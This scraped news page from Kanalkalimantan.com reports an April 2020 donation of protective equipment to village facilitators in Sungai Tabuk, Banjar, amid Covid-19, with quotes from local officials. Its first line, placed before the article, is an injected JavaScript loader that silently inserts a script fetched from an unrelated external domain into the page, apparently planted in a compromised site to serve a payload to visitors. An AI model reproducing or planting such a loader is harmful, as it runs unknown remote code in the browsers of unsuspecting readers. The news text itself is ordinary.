(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Anggota Komisi II DPRD Banjar Ratu Juriah menyerahkan bantuan Alat Pelindung Diri (APD) kepada para tenaga pendamping di Kecamatan Sungai Tabuk, Kabupaten Banjar. APD tersebut untuk mendukung kinerja mereka di tengah situasi pandemi Covid-19.
Bantuan diserahkan pada tenaga pendamping desa dan kecamatan di Kantor Camat Sungai Tabuk, Selasa (21/4/2020) pagi. Nampak hadir Camat Sungai Tabuk Ahmad Fauzi, yang menyaksikan secara langsung penyerahan bantuan APD ini.
Ratu Juriah mengungkapkan bahwa bantuan APD ini diberikan kepada 8 tenaga pendamping di Kecamatan Sungai Tabuk, yang terdiri dari 5 orang pendamping desa dan 3 orang pendamping kecamatan. Adapun APD yang diberikan berupa 8 jaket, 8 sarung tangan dan 50 masker.
“Saya telah lama mendapatkan keluhan dari pendamping desa bahwa APD mereka tidak lengkap. Padahal, yang harus kita sadari tenaga pendamping merupakan salah satu garda terdepan dalam menghadapi covid-19. Untuk itu saya berinisiatif memberikan cuma-cuma kepada mereka, biar di lapangan tidak ada lagi keluhan,” katanya.
Politisi wanita dari Partai Golkar itu mengakui bahwa dalam upaya melakukan pencegahan memutus mata rantai penyebaran covid-19, diperlukan kesadaran dari masyarakat. Ia menghimbau agar seluruh masyarakat di Kecamatan Sungai Tabuk lebih waspada dan menuruti himbauan-himbauan yang telah dikeluarkan oleh pemerintah.
“Saya meminta kepada masyarakat agar sadar bahwa pencegahan itu lebih baik daripada mengobati. Upaya mencegah penyebaran covid-19 itu, salah satunya penggunaan masker. Saya berharap tenaga pendamping desa juga bisa mensosialisasikan kepada masyarakat tentang pentingnya menggunakan masker,” pungkas dewan dua periode tersebut.
Sementara itu, Abdul Wahid, salah satu pendamping kecamatan, mengakui bahwa APD memang sangat dibutuhkan, mengingat tugas tenaga pendamping yang bersentuhan langsung dengan masyarakat. Ia pun mengaku bangga terhadap sosok Ratu Juriah yang telah menunjukan kepedulian seorang wakil rakyat di situasi pandemi covid-19.
Dari pantauan Kanalkalimantan.com, telah ada sejumlah posko siaga covid-19 di masing-masing desa yang ada di Kecamatan Sungai Tabuk. Dalam hal ini, pengunjung atau masyarakat yang datang, harus menjalani pemeriksaan suhu tubuh dan diwajibkan untuk mencuci tangan. Bahkan, nama mereka di catat oleh petugas posko.
Camat Sungai Tabuk, Ahmad Fauzi, menerangkan rawannya penularan covid-19 di Kecamatan Sungai Tabuk lantaran lokasinya yang berbatasan dengan Kota Banjarmasin dan Kabupaten Barito Kuala (Batola). Wajar saja, sebab kedua daerah tersebut telah ditetapkan zona merah covid-19.
“Ada masyarakat kita di Sungai Tabuk yang bekerja di Banjarmasin dan Batola. Artinya, bisa saja berpeluang masuknya covid-19 di kecamatan ini. Untuk itu, saya sangat menghimbau masyarakat harus berhati-hati dalam upaya pencegahan penularan covid-19,” bebernya. (Kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More
This website uses cookies.